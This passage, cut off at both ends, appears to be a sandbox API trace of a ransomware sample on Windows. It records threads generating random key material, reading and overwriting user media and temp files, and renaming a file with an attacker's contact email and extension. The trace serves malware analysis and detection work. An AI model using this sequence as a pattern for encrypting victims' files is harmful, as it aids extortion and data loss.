Seed=0x950f824) returned 0x688fa90f [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x5a671582 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x5b64bbda [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x50ad0070 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x18790f7f [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x202eb287 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0xa546a37 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x74b9d1ee [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x2de9d6bc [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x5af719ef [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x53d5f7d8 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x18d851ad [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x38b4ad1f [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x3ef58628 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x36a76d97 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x49dbd6d2 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x6f79d851 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x6a67bb42 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x8de522 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x7855a851 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x665992f2 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x7937a0f5 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x36569080 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x4e7eaeef [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x69c99976 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x1390bbd9 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x2c69712c [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x67024419 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x1bd7a245 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x1ea5d0fd [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x567330a8 [0060.711] RtlRandomEx (in: Seed=0x950f824 | out: Seed=0x950f824) returned 0x76ffe017 [0060.724] ReadFile (in: hFile=0x8f4, lpBuffer=0x19a09158, nNumberOfBytesToRead=0x201c, lpNumberOfBytesRead=0x950f814, lpOverlapped=0x0 | out: lpBuffer=0x19a09158*, lpNumberOfBytesRead=0x950f814*=0x201c, lpOverlapped=0x0) returned 1 [0060.724] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.725] WriteFile (in: hFile=0x8f4, lpBuffer=0x19a15960*, nNumberOfBytesToWrite=0x201c, lpNumberOfBytesWritten=0x950f810, lpOverlapped=0x0 | out: lpBuffer=0x19a15960*, lpNumberOfBytesWritten=0x950f810*=0x201c, lpOverlapped=0x0) returned 1 [0062.624] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2a8 [0062.624] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf1b8 [0062.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf1b8) returned 1 [0062.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a15960) returned 1 [0063.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a09158) returned 1 [0063.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 [0063.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c900) returned 1 [0063.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x43) returned 0x445090 [0063.276] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.276] WriteFile (in: hFile=0x8f4, lpBuffer=0x12d7a2f8*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x950f878, lpOverlapped=0x0 | out: lpBuffer=0x12d7a2f8*, lpNumberOfBytesWritten=0x950f878*=0x127, lpOverlapped=0x0) returned 1 [0063.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a2f8) returned 1 [0063.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444eb0) returned 1 [0063.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604b8) returned 1 [0063.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445090) returned 1 [0063.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2a8) returned 1 [0063.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436250) returned 1 [0063.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4362f0) returned 1 [0063.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436318) returned 1 [0063.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x12cf98b0 [0063.278] wcscpy (in: _Dest=0x12cf98b0, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0063.278] wcscat (in: _Dest=0x12cf98b0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.mailto[2Hamlampampom@cock.li].cd46d" [0063.278] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x950f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf6) returned 0x41c0b8 [0063.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c0b8) returned 1 [0063.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4836b0) returned 1 [0063.280] NtQueryInformationFile (in: FileHandle=0x8f4, IoStatusBlock=0x950f83c, FileInformation=0x950f814, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x950f83c, FileInformation=0x950f814) returned 0x0 [0063.280] NtSetInformationFile (FileHandle=0x8f4, IoStatusBlock=0x950f83c, FileInformation=0x950f814, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.281] FlushFileBuffers (hFile=0x8f4) returned 1 [0066.217] CloseHandle (hObject=0x8f4) Thread: id = 409 os_tid = 0xd4c [0048.862] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql4874.tmp")) returned 0x2020 [0048.862] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp", dwFileAttributes=0x20) returned 1 [0060.772] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql4874.tmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0060.773] GetLastError () returned 0x20 [0060.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x415f00 [0060.773] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0060.773] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415f00) returned 1 [0060.773] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x436c98, Size=0x20) returned 0x4360c0 [0060.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d6c8 [0060.773] wcscpy (in: _Dest=0x48d6c8, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp" [0060.773] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4874.tmp", dwFileAttributes=0x2020) returned 1 [0060.773] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4461f0) returned 1 Thread: id = 410 os_tid = 0xd50 [0048.862] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql4885.tmp")) returned 0x2020 [0048.862] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp", dwFileAttributes=0x20) returned 1 [0060.787] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql4885.tmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0060.787] GetLastError () returned 0x20 [0060.787] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x415f00 [0060.787] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0060.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415f00) returned 1 [0060.787] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4360c0, Size=0x28) returned 0x97ceed0 [0060.787] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x4461f0 [0060.787] wcscpy (in: _Dest=0x4461f0, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp" [0060.787] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp", dwFileAttributes=0x2020) returned 1 [0060.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445bd8) returned 1 Thread: id = 411 os_tid = 0xd54 [0048.863] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1Ge3vB9wK.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1ge3vb9wk.m4a")) returned 0x2020 [0048.863] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1Ge3vB9wK.m4a", dwFileAttributes=0x20) returned 1 [0065.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1Ge3vB9wK.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1ge3vb9wk.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1404 [0065.015] GetFileSizeEx (in: hFile=0x1404, lpFileSize=0x992fd04 | out: lpFileSize=0x992fd04*=33298) returned 1 [0065.015] SetFilePointerEx (in: hFile=0x1404, liDistanceToMove=0x820e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.015] ReadFile (in: hFile=0x1404, lpBuffer=0x992fc88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x992fc84, lpOverlapped=0x0 | out: lpBuffer=0x992fc88*, lpNumberOfBytesRead=0x992fc84*=0x4, lpOverlapped=0x0) returned 1 [0065.015] SetFilePointerEx (in: hFile=0x1404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436228 [0065.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436098 [0065.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435ee0 [0065.016] NtQuerySystemTime (in: CurrentTime=0x992fc64 | out: CurrentTime=0x992fc64*=132174898289976000) returned 0x0 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x6673a488 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x62314f25 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x2f3697dd [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x624cb499 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x6c4c0cfc [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x61e94e33 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x35246734 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x76cd891d [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x4011bc1f [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x1b425d4b [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x7a67b2b7 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x5f938176 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x6a7bc9ec [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x2a957ebf [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x3cec81cf [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x27a25ed9 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x27c23874 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x1192d19d [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x6031f4aa [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x3f39ac17 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x55ac049c [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x21fc9ab8 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x40fc4e30 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x65346e23 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x6bfa0a6c [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x280630ad [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x7ec0c58c [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x75191fed [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x6d9298b0 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x3fbe3910 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x43ad42b7 [0065.016] RtlRandomEx (in: Seed=0x992fc70 | out: Seed=0x992fc70) returned 0x2f99d74d [0065.028] ReadFile (in: hFile=0x1404, lpBuffer=0x197d7238, nNumberOfBytesToRead=0x8212, lpNumberOfBytesRead=0x992fc60, lpOverlapped=0x0 | out: lpBuffer=0x197d7238*, lpNumberOfBytesRead=0x992fc60*=0x8212, lpOverlapped=0x0) returned 1 [0065.029] SetFilePointerEx (in: hFile=0x1404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.030] WriteFile (hFile=0x1404, lpBuffer=0x197e3a40, nNumberOfBytesToWrite=0x8212, lpNumberOfBytesWritten=0x992fc5c, lpOverlapped=0x0) Thread: id = 412 os_tid = 0xd58 [0048.864] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\51OqUo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\51oquo.wav")) returned 0x2020 [0048.864] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\51OqUo.wav", dwFileAttributes=0x20) returned 1 [0064.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\51OqUo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\51oquo.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13fc [0064.999] GetFileSizeEx (in: hFile=0x13fc, lpFileSize=0x71cfecc | out: lpFileSize=0x71cfecc*=2840) returned 1 [0065.000] SetFilePointerEx (in: hFile=0x13fc, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.000] ReadFile (in: hFile=0x13fc, lpBuffer=0x71cfe50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x71cfe4c, lpOverlapped=0x0 | out: lpBuffer=0x71cfe50*, lpNumberOfBytesRead=0x71cfe4c*=0x4, lpOverlapped=0x0) returned 1 [0065.001] SetFilePointerEx (in: hFile=0x13fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.001] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436228 [0065.001] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435f58 [0065.001] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436098 [0065.001] NtQuerySystemTime (in: CurrentTime=0x71cfe2c | out: CurrentTime=0x71cfe2c*=132174898289820000) returned 0x0 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x23007a6e [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x7c2db506 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x20d2dede [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x2b7fbee4 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x6761c51e [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x14fef176 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0xa6ad35 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x6b3e34cd [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x4a25a4b3 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x9947360 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x5836b90 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x52807995 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x43908e47 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0xccacbf6 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0xc466aee [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x2e168f17 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x5bd5c6b0 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x7938e191 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x2584e1bb [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x1995ab71 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x16b37509 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x3b3d532 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0xf58c31d [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x6926facd [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x4a2a2e8a [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0xbad111f [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x6bfd80b2 [0065.001] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x4c593b0b [0065.002] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x6c28416c [0065.002] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x4e8bcb5 [0065.002] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x421b5357 [0065.002] RtlRandomEx (in: Seed=0x71cfe38 | out: Seed=0x71cfe38) returned 0x61e2c8a8 [0065.014] ReadFile (in: hFile=0x13fc, lpBuffer=0x197be228, nNumberOfBytesToRead=0xb18, lpNumberOfBytesRead=0x71cfe28, lpOverlapped=0x0 | out: lpBuffer=0x197be228*, lpNumberOfBytesRead=0x71cfe28*=0xb18, lpOverlapped=0x0) returned 1 [0065.014] SetFilePointerEx (in: hFile=0x13fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.014] WriteFile (hFile=0x13fc, lpBuffer=0x197caa30, nNumberOfBytesToWrite=0xb18, lpNumberOfBytesWritten=0x71cfe24, lpOverlapped=0x0) Thread: id = 413 os_tid = 0xd5c [0048.864] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6bdJuKQA.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6bdjukqa.jpg")) returned 0x2020 [0048.865] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6bdJuKQA.jpg", dwFileAttributes=0x20) returned 1 [0064.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6bdJuKQA.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6bdjukqa.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13f8 [0064.982] GetFileSizeEx (in: hFile=0x13f8, lpFileSize=0x90afc28 | out: lpFileSize=0x90afc28*=68786) returned 1 [0064.982] SetFilePointerEx (in: hFile=0x13f8, liDistanceToMove=0x10cae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.982] ReadFile (in: hFile=0x13f8, lpBuffer=0x90afbac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x90afba8, lpOverlapped=0x0 | out: lpBuffer=0x90afbac*, lpNumberOfBytesRead=0x90afba8*=0x4, lpOverlapped=0x0) returned 1 [0064.983] SetFilePointerEx (in: hFile=0x13f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.983] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8da0 [0064.983] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436318 [0064.983] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436228 [0064.983] NtQuerySystemTime (in: CurrentTime=0x90afb88 | out: CurrentTime=0x90afb88*=132174898289664000) returned 0x0 [0064.983] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x2397ebc6 [0064.983] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x7d9558ef [0064.983] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x2a5c411f [0064.983] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x4755ee44 [0064.983] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x55990652 [0064.983] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0xeba16df [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x27a2bb09 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x340d4605 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x6a26186c [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x52f33b11 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x1c3d1ecf [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x18a1b0e1 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x5c218ddc [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x7e0e3212 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x742151ed [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x3d708642 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x232975fe [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x1af9f8cb [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x3d5b023f [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x443bc109 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x447d585d [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x542c4e03 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0xebbb142 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x5c746e3a [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x76afde45 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: 